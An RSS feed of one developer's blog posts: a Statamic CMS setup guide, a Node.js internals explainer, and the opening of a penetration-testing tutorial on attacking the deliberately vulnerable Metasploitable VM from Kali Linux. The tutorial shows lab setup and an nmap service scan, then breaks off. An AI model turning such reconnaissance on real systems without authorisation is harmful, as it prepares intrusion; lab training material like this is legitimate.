<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: Atena Dadkhah</title>
    <description>The latest articles on Forem by Atena Dadkhah (@atenadadkhah).</description>
    <link>https://forem.com/atenadadkhah</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F920623%2F98039d9a-9efc-4302-82c9-d2d67bf22a2c.jpg</url>
      <title>Forem: Atena Dadkhah</title>
      <link>https://forem.com/atenadadkhah</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/atenadadkhah"/>
    <language>en</language>
    <item>
      <title>How to get started with Statamic</title>
      <dc:creator>Atena Dadkhah</dc:creator>
      <pubDate>Tue, 16 May 2023 10:54:12 +0000</pubDate>
      <link>https://forem.com/atenadadkhah/how-to-get-started-with-statamic-5chp</link>
      <guid>https://forem.com/atenadadkhah/how-to-get-started-with-statamic-5chp</guid>
      <description>&lt;p&gt;Welcome to the world of Statamic 🥳🪅, where CMS meets limitless possibilities 🌟. Unlike your typical CMS, Statamic breaks free from the shackles of traditional database-driven systems. It operates on flat files, eliminating the need for a database altogether. Content, users, and configurations are stored effortlessly in markdown, YAML, or PHP config files, while still providing the convenience of a control panel familiar to CMS users.&lt;/p&gt;

&lt;p&gt;With Statamic, version control becomes a breeze as you gain the power to track changes across your entire site, from content updates to configuration modifications. Deploying your site to production is as simple as a Git commit, enabling seamless integration with your preferred version control system.&lt;/p&gt;

&lt;p&gt;Collaboration becomes effortless as multiple developers or teams can work on separate branches and seamlessly merge their changes. Even writers and non-technical users can make updates within the control panel, and their modifications can be automatically committed back to your Git repository.&lt;/p&gt;

&lt;p&gt;But wait, Statamic doesn't stop at flat files. It revolutionizes the entire data layer. You have the flexibility to utilize the Statamic site generator or leverage eloquent drivers, allowing you to tap into SQL databases or even build your own drivers for MongoDB or Firebase. This approach empowers you to &lt;em&gt;start with simplicity and scale at your own pace&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;Statamic is a chameleon 🦎, capable of dynamic execution like a traditional CMS, or operating as a static site generator or headless CMS 🤯. Seamlessly integrate with any front-end application, whether it's a Jamstack, React, Mobile, or even native applications, using the REST API or GraphQL.&lt;/p&gt;

&lt;h1&gt;
  
  
  Installing
&lt;/h1&gt;

&lt;p&gt;There are 2 main ways you can do it.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;New clean install&lt;/li&gt;
&lt;li&gt;Into a Laravel application&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;In this case we go with the first way which is simpler.&lt;/p&gt;

&lt;p&gt;Install Statamic global composer CLI tool.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="n"&gt;composer&lt;/span&gt; &lt;span class="k"&gt;global&lt;/span&gt; &lt;span class="k"&gt;require&lt;/span&gt; &lt;span class="n"&gt;statamic&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;cli&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then, create a new Statamic project and choose &lt;strong&gt;Blank Site&lt;/strong&gt; to began. (If you don't have a Starter Kit)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="n"&gt;statamic&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;YourAPPName&lt;/span&gt; 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;While installing, it'll ask you if you want to create a new super user, You may hit &lt;code&gt;yes&lt;/code&gt; and enter your information as a user.&lt;/p&gt;

&lt;p&gt;At the end change the directory to your project and run your application. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2uoj0a4uaanmj6r0s8d9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2uoj0a4uaanmj6r0s8d9.png" alt="atena dadkhah-statamic setup" width="800" height="592"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Then switch to &lt;code&gt;/cp&lt;/code&gt; you'll see a login page that you should type in your information which you provided while installing Statamic.&lt;/p&gt;

&lt;p&gt;After the successful login, You should be able to see the control panel. 😀&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd6eqrjzefmo6u7wqppwz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd6eqrjzefmo6u7wqppwz.png" alt="atena dadkhah - statamic control panel" width="800" height="369"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  Create a home page
&lt;/h1&gt;

&lt;p&gt;Now, let's add some captivating content to showcase on our homepage! Navigate to &lt;code&gt;Collections → Pages&lt;/code&gt; in the control panel. Simply click on the entry's title to embark on a creative journey of editing. Unleash your imagination in the content field, crafting a compelling message or sharing your unique insights. Once you're satisfied, hit the Save &amp;amp; Publish button.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fondldl6ooeehk6jtsccq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fondldl6ooeehk6jtsccq.png" alt="atena dadkhah-statamic page customization" width="800" height="512"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Take note that the entry is currently utilizing the home template (visible in the template field). Let's dive in and edit this template to unveil your amazing new content to the browser.&lt;/p&gt;

&lt;p&gt;To get started, open your code editor and locate the file &lt;code&gt;resources/views/home.antlers.html&lt;/code&gt;. This file serves as the home template, and its name corresponds to the filename without the file extension. Keep in mind that any view ending in .antlers.html will be seamlessly parsed by Statamic's Antlers template parser.&lt;/p&gt;

&lt;h2&gt;
  
  
  Customize the home page
&lt;/h2&gt;

&lt;p&gt;Open &lt;code&gt;resources/views/layout.antlers.html&lt;/code&gt; and replace it with this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;!doctype html&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;html&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;head&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;title&amp;gt;&lt;/span&gt;{{ title }}&lt;span class="nt"&gt;&amp;lt;/title&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;link&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"https://unpkg.com/tailwindcss@^2/dist/tailwind.min.css"&lt;/span&gt; &lt;span class="na"&gt;rel=&lt;/span&gt;&lt;span class="s"&gt;"stylesheet"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/head&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;body&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"bg-gray-900 text-white text-lg font-mono"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"container max-w-lg mx-auto py-8"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
        {{ template_content }}
    &lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Your layout file serves as a home for essential markup that should appear consistently across all pages. It's the perfect spot to house &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; meta tags, persistent site navigation, the site footer, and other global elements.&lt;/p&gt;

&lt;p&gt;Imagine layouts as a picture frame, while templates act as the content within that frame. Templates are seamlessly injected into the layout using the &lt;code&gt;{{ template_content }}&lt;/code&gt; variable, forming a cohesive HTML document.&lt;/p&gt;

&lt;p&gt;Then, you might see this.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fikfg838ekee7f13kpaq8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fikfg838ekee7f13kpaq8.png" alt="atena dadkhah-statamic home page" width="800" height="415"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  Conclusion
&lt;/h1&gt;

&lt;p&gt;In conclusion, we have merely scratched the surface of Statamic's capabilities. There is so much more to explore and unleash. Get ready to dive deeper into the world of Statamic and unlock its full potential. Exciting discoveries await!&lt;/p&gt;

</description>
      <category>statamic</category>
      <category>laravel</category>
      <category>cms</category>
    </item>
    <item>
      <title>You Don't Know The REAL Theory Behind Node.JS!</title>
      <dc:creator>Atena Dadkhah</dc:creator>
      <pubDate>Fri, 21 Apr 2023 15:05:24 +0000</pubDate>
      <link>https://forem.com/atenadadkhah/you-dont-know-the-real-theory-behind-nodejs-2hdo</link>
      <guid>https://forem.com/atenadadkhah/you-dont-know-the-real-theory-behind-nodejs-2hdo</guid>
      <description>&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;Have you ever wondered how Node.js, one of the most popular JavaScript runtimes, works under the hood? 🤔 While it's easy to get caught up in the excitement of building web applications with Node.js, it's essential to understand the theory behind it. &lt;br&gt;
In this post, we'll take a deep dive into the inner workings of Node.js, exploring what's really happening behind the scenes when you write JavaScript code using Node.js. From its event-driven architecture to its non-blocking I/O operations, we'll demystify the theory behind Node.js and shed light on how it was built. &lt;/p&gt;

&lt;p&gt;🚀Get ready to uncover the real theory behind Node.js and gain a deeper understanding of this powerful technology!💡&lt;/p&gt;




&lt;h2&gt;
  
  
  Architecture Behind The Scenes
&lt;/h2&gt;

&lt;p&gt;So let's represent the architecture here in terms of nodes dependency which are just a couple of libraries that node depends on in order to work properly.&lt;br&gt;
So the node run time has several dependencies and the most important ones are the &lt;strong&gt;V8 engine&lt;/strong&gt; and &lt;strong&gt;libuv&lt;/strong&gt;.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;V8 JavaScript Engine&lt;/th&gt;
&lt;th&gt;libuv&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fewx1j8hbhzz9ptqovqjr.png" alt="node-v8-atenadadkhah" width="200" height="200"&gt;&lt;/td&gt;
&lt;td&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fshorlsanbeu2580tsal7.png" alt="node-libuv-atenadadkhah" width="197" height="200"&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  V8
&lt;/h3&gt;

&lt;p&gt;You might have known that Node is a JavaScript run time based on Google V8 engine. If it wasn't for &lt;strong&gt;V8&lt;/strong&gt;, Node would have absolutely no way of understanding the JavaScript code that we write and therefore V8 is a fundamental part in the Node architecture.&lt;/p&gt;

&lt;p&gt;So &lt;em&gt;the V8 engine is what converts JavaScript code into machine code that a computer can actually understand.&lt;/em&gt;&lt;br&gt;
&lt;strong&gt;&lt;em&gt;But&lt;/em&gt;&lt;/strong&gt; that alone is not enough to create a whole server-side framework like Node and so that is why we also have &lt;strong&gt;libuv&lt;/strong&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  libuv
&lt;/h3&gt;

&lt;p&gt;libuv is an open source library with a strong focus on asynchronous I/O. This layer is what gives Node access to the underlying computer operating system, file system, networking, and more; besides that libuv also implements to extremely important features of Node.js which are the &lt;strong&gt;Event Loop&lt;/strong&gt; and also the &lt;strong&gt;Thread Pool&lt;/strong&gt;.&lt;br&gt;
In simple terms, Event Loop is responsible for handling easy tasks like executing callbacks and network IO, while the Thread Pool is for more heavy works like file access or compression.&lt;/p&gt;

&lt;h3&gt;
  
  
  Programming Languages
&lt;/h3&gt;

&lt;p&gt;One important thing to note is that libuv is actually completely written in C++, and not in JavaScript! and V8 itself also uses C++ code besides JavaScript. So therefore Node itself is a program written in C++ and JavaScript and not just in JavaScript as you might expect.&lt;/p&gt;

&lt;p&gt;Now the beauty of this that Node.js ties all these libraries together no matter if written in C++ or JavaScript and then gives us developers access to their functions in pure JavaScript.&lt;/p&gt;

&lt;p&gt;So it really provides us with a very nice layer of a abstraction in order to make our lives a lot easier instead of us like having to mess with C++ code! that would be a terrible experience right? 😂&lt;/p&gt;

&lt;p&gt;This architecture allows us to write 100% pure JavaScript code running in Node.js and still access functions like file reading, which behind the scenes are actually implemented in the libuv or other libraries in the C++ language.&lt;/p&gt;

&lt;p&gt;And speaking of other libraries, Node does actually not only rely on V8 and the libuv but also on &lt;strong&gt;HTTP parser&lt;/strong&gt; for passing HTTP,  &lt;strong&gt;c-ares&lt;/strong&gt; for some DNS request, &lt;strong&gt;open SSL&lt;/strong&gt; for cryptography, and also &lt;strong&gt;zlib&lt;/strong&gt; for compression.&lt;/p&gt;

&lt;p&gt;So in the end when we have all these pieces nicely fit together we end up with Node.js ready to be used on the server side or for applications.&lt;/p&gt;

&lt;h2&gt;
  
  
  Thread Pool
&lt;/h2&gt;

&lt;p&gt;So first off when we use Node on a computer, it means that there is a Node process running on that computer. And the  process is just a program in execution and you already learned that Node.js is basically a C++ program which will therefore start a process when it's running. This is important because in Node we actually have access to a processed variable. In that process Node.js runs in a so-called &lt;strong&gt;Single Thread&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;And a thread is basically just a sequence of instructors. You may imagine a thread as being a box where our code is executed in computers processor.&lt;/p&gt;

&lt;p&gt;Now What is important to understand here is the fact that &lt;strong&gt;&lt;em&gt;Node runs in just one thread&lt;/em&gt;&lt;/strong&gt; where it makes it easy to block Node applications. It's something really really important to remember because this is one of the unique features that Node brings to the table; so again if you run your Node application it will run in just a single thread &lt;em&gt;no matter if you have 10 users or 10 million users accessing your application at the same time.&lt;/em&gt; And you need to be very careful about not blocking that thread!&lt;/p&gt;

&lt;h3&gt;
  
  
  What happens in a single thread? 🧐
&lt;/h3&gt;

&lt;p&gt;When the program is initialized, all the top level code is executed which means all the code that is not inside any callback function. also all the modules that your app needs are required and all the callbacks are registered. Then after all that the event loop (the heart of node app 🫀) finally starts running. &lt;br&gt;
But some tasks are actually too heavy and expensive to be executed in the event loop because they would then block the single thread and that's where the thread pool comes in, which just like the event loop is provided to Node.js by libuv library. So the Threat pool gives us four additional threads that are completely separate from the main single thread. We can actually configure it up to 128 threads but usually these four are enough. so this threads together form the thread pool and the event loop can automatically offload heavy tasks to the thread pool. And all this happens automatically behind the scenes. It's not us developers who decide what goes to the thread pool and what don't. 🤷&lt;br&gt;
The expensive tasks that do get offloaded are all operations dealing with files. everything related to cryptography like hashing passwords and all compression stuff and also DNS lookups which basically matches web domains to their corresponding real IP addresses. so this is the stuff that would most easily block the main thread and Node takes care of automatically offloading them into the thread pool where they don't block our event loop.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwhxw5b6ory5sqk7fcvxd.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwhxw5b6ory5sqk7fcvxd.jpg" alt="node-thread-pool" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Event Loop
&lt;/h2&gt;

&lt;p&gt;The event loop is where all application code inside callback functions is executed. It's the heart of Node architecture, which uses an event-triggered approach. When an event like an HTTP request or timer expiration occurs, it emits an event that the event loop picks up and calls the associated callback function. The event loop has multiple phases with their own callback queues, including expired timers, I/O polling and execution, setImmediate callbacks, and close callbacks. There are also special queues for nextTick() and other microtasks. After each phase, callbacks in these queues are executed immediately. Node determines whether to continue to the next tick or exit the application based on whether there are pending timers or I/O tasks. Understanding the event loop is crucial for writing performant code in Node.js. For more details, refer to the official Node documentation.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzpo0srlxc3xigoo4ggxg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzpo0srlxc3xigoo4ggxg.png" alt="node-event-loop-atenadadkhah" width="800" height="412"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Event-driven Architecture
&lt;/h2&gt;

&lt;p&gt;So most of Node's core modules, like HTTP, File System, and Timers are built around an event-driven architecture, and we can of course also use this architecture to our advantage in our own code. And the concept is actually quite simple.  So, in Node, there are certain objects called event emitters that emit named events  as soon as something important happens in the app,  like a request hitting server, or a timer expiring,  or a file finishing to read.  These events can then be picked up by event listeners  that we developers set up, which will fire off  callback functions that are attached to each listener, So again, on one hand, we have event emitters, and on the other hand event listeners that will react  to emitted events by calling callback function.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fl92sg3ii02rukjqzdog5.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fl92sg3ii02rukjqzdog5.jpg" alt="node-event-driven-architecture" width="800" height="160"&gt;&lt;/a&gt;&lt;br&gt;
When we want to create a server, we use the Create Server method and save it to a Server Variable. &lt;code&gt;server.on&lt;/code&gt; method is how we actually  create a listener, and in this case for the "request" event. So let's say we have our server running,  and a new request is made. The server acts as an emitter, and will automatically emit an event called "request" each time that a request  hits the server. Then, since we already have a listener set up  for this exact event, the callback function that we attached  to this listener will automatically be called. And this kind of function will simply send some data back to the client. Now, it works this way because behind the scenes  the server is actually an instance of the Node.js EventEmitter class, so it inherits all this  event emitting and listening logic from that EventEmitter  class. &lt;/p&gt;

&lt;p&gt;EventEmitter logic  is called the Observer Pattern in Javascript programming in general, and it's quite a popular pattern with  many used cases.  So the idea is I set there an observer, in this case the event listener, which keeps waiting, keeps observing the subject that will eventually  emit the event that the listener is waiting for.  And the opposite of this pattern is simply functions calling other functions, which is something that  we're more used to actually, right?  But the observer pattern has been designed  to react rather than to call.  And that is because there is a huge benefit of using  this architecture, which is the fact that everything  is more de-coupled. We don't have, for example, functions from the File System  module calling functions from the HTTP module  because it would be a huge mess. Instead, these modules are nicely de-coupled  and self-contained, each emitting events that  other functions, even if they come from other modules  can respond to.  Also, using an event-driven architecture makes it  way more straight forward to react multiple times  to the same event.  All we have to do is to set up multiple listeners.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjddmhds9j3mc7usw2tdl.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjddmhds9j3mc7usw2tdl.png" alt="node-event-loop" width="800" height="393"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Streams
&lt;/h2&gt;

&lt;p&gt;Used to process (read and write) data piece by piece (chunks),&lt;br&gt;
without completing the whole read or write operation, and&lt;br&gt;
therefore without keeping all the data in memory.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Readable streams
&lt;/h3&gt;

&lt;p&gt;Readable streams allow reading data piece by piece, making them useful for handling large text files or data coming in through an HTTP request. Readable streams are instances of the EventEmitter class, meaning they can emit and listen to named events. The most important events for readable streams are the data event, which is emitted when there is new data to consume, and the end event, which is emitted when there is no more data to consume. In addition to events, there are important functions like pipe and read that can be used with readable streams.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Writable streams
&lt;/h3&gt;

&lt;p&gt;Writable streams are the opposite of readable streams, and examples include HTTP responses that can be sent back to clients. When sending data, it needs to be written to a writable stream. The most important events for writable streams are the drain and finish events, and the most important functions are the write and end functions. Writable streams are commonly used for streaming large files, such as videos, similar to how Netflix or YouTube stream content to users.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Duplex streams
&lt;/h3&gt;

&lt;p&gt;They're simply streams that are both readable and writeable9at the same time. These are a bit less common. But anyway, a good example would be a web socket from the net module. And a web socket is basically just a communication channel between client and server that works in both directions and stays open once the connection has been established.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Transform streams
&lt;/h3&gt;

&lt;p&gt;Transform streams in Node.js are both readable and writable, and can modify or transform data as it is read or written. An example of a transform stream is the zlib core module used for data compression. The text also mentions that the events and functions discussed are for consuming streams that are already implemented in Node.js, such as HTTP requests and responses. It is possible to implement custom streams and consume them using the same events and functions, but this topic is not covered in detail as it is more important to know how to consume streams rather than implement them for most applications.&lt;/p&gt;

&lt;p&gt;And that's it! 🥳&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;In conclusion, understanding the architecture and inner workings of Node.js is crucial to building efficient and scalable web applications. Node.js relies on several dependencies, including the V8 engine and libuv, which work together to provide JavaScript runtime capabilities on the server side. The V8 engine converts JavaScript code into machine code, while libuv is responsible for handling asynchronous I/O and implementing features such as the event loop and thread pool. Node.js allows developers to write 100% pure JavaScript code while accessing functions implemented in C++ or other languages, providing a layer of abstraction that makes development easier. However, it's important to remember that Node.js runs in a single thread, and heavy tasks that could block the event loop can be offloaded to the thread pool. By understanding the architecture behind Node.js, developers can harness its power to build fast and scalable applications. Happy coding with Node.js! 🚀💻&lt;/p&gt;

</description>
      <category>javascript</category>
      <category>node</category>
    </item>
    <item>
      <title>Hack Metasploitable machine in 5 ways using Kali Linux 🤯😈</title>
      <dc:creator>Atena Dadkhah</dc:creator>
      <pubDate>Thu, 09 Mar 2023 18:41:27 +0000</pubDate>
      <link>https://forem.com/atenadadkhah/hack-metasploitable-machine-in-5-ways-using-kali-linux-2h9e</link>
      <guid>https://forem.com/atenadadkhah/hack-metasploitable-machine-in-5-ways-using-kali-linux-2h9e</guid>
      <description>&lt;p&gt;Hi there!👋&lt;br&gt;
Today I'm going to show you how we can &lt;strong&gt;HACK&lt;/strong&gt; Metasploitable virtual machine in 5 different ways to learn penetration testing with Nmap and Metasploit framework.&lt;/p&gt;

&lt;p&gt;Let's get into it!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvcts0gj3xodaw2gsczo4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvcts0gj3xodaw2gsczo4.png" alt="cute hacker penetration testing kali linux" width="800" height="800"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Before we get our hands dirty, we need to take some steps.&lt;/p&gt;
&lt;h2&gt;
  
  
  1. Install Kali Linux
&lt;/h2&gt;

&lt;p&gt;For penetration testing or any cybersecurity activity it's better to have a Linux based operating system running on our systems. &lt;br&gt;
If you don't have any Linux OS installed on your machine, You can &lt;a href="https://www.kali.org/get-kali/#kali-installer-images" rel="noopener noreferrer"&gt;install Kali Linux&lt;/a&gt; on a virtualbox like &lt;a href="https://dev.toorg"&gt;Oracle VM VirtualBox&lt;/a&gt;.&lt;br&gt;
&lt;br&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  2. Install Metasploitable Virtual Machine
&lt;/h2&gt;

&lt;p&gt;Let me introduce Metasploitable virtual machine to you.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Metasploitable is an intentionally vulnerable Linux virtual machine that can be used to conduct security training, test security tools, and practice common penetration testing techniques.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;You can download &lt;a href="https://information.rapid7.com/download-metasploitable-2017.html?LS=1631875&amp;amp;CS=web" rel="noopener noreferrer"&gt;metasploitable virtual machine&lt;/a&gt; and again install that on Oracle virtualbox.&lt;br&gt;
&lt;br&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  3. Nmap And Metasploitable Framework
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;Nmap allows you to scan your network and discover not only everything connected to it, but also a wide variety of information about what's connected, what services each host is operating, and so on.&lt;/p&gt;

&lt;p&gt;The Metasploit Framework is a Ruby-based, modular penetration testing platform that enables you to write, test, and execute exploit code. The Metasploit Framework contains a suite of tools that you can use to test security vulnerabilities, enumerate networks, execute attacks, and evade detection.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;By default Kali Linux has Nmap and metasploitable installed in it, but if you are using other Linux distro (e.g. Ubuntu) you need to install these packages.&lt;/p&gt;



&lt;p&gt;&lt;strong&gt;&lt;em&gt;REMEMBER&lt;/em&gt;&lt;/strong&gt;&lt;br&gt;
&lt;em&gt;You should change network adapter for your Linux OSes (Kali &amp;amp; Metasploitable) on &lt;strong&gt;Bridge Adapter&lt;/strong&gt; for their IPs to be in the same range as your device. (In Oracle go to Settings &amp;gt; Network &amp;gt; adapter 1)&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Now, it's time for us to start hacking and get our hands dirty. 😈&lt;/p&gt;

&lt;p&gt;Run both kali Linux and Metasploitable.&lt;/p&gt;

&lt;p&gt;Then we should get the IP address of Metasploitable. Just type this command in metasploitable.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ifconfig
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then it shows some results containing the IP address. Mine is in eth0 192.168.1.3. &lt;/p&gt;

&lt;p&gt;Now we should scan the target machine in Kali Linux using Nmap.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;nmap -sV 192.168.1.3 -p-
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;em&gt;Remember to write your own target machine IP in this command&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;-sV&lt;/strong&gt; : This is a service version scan. In order to know what&lt;br&gt;
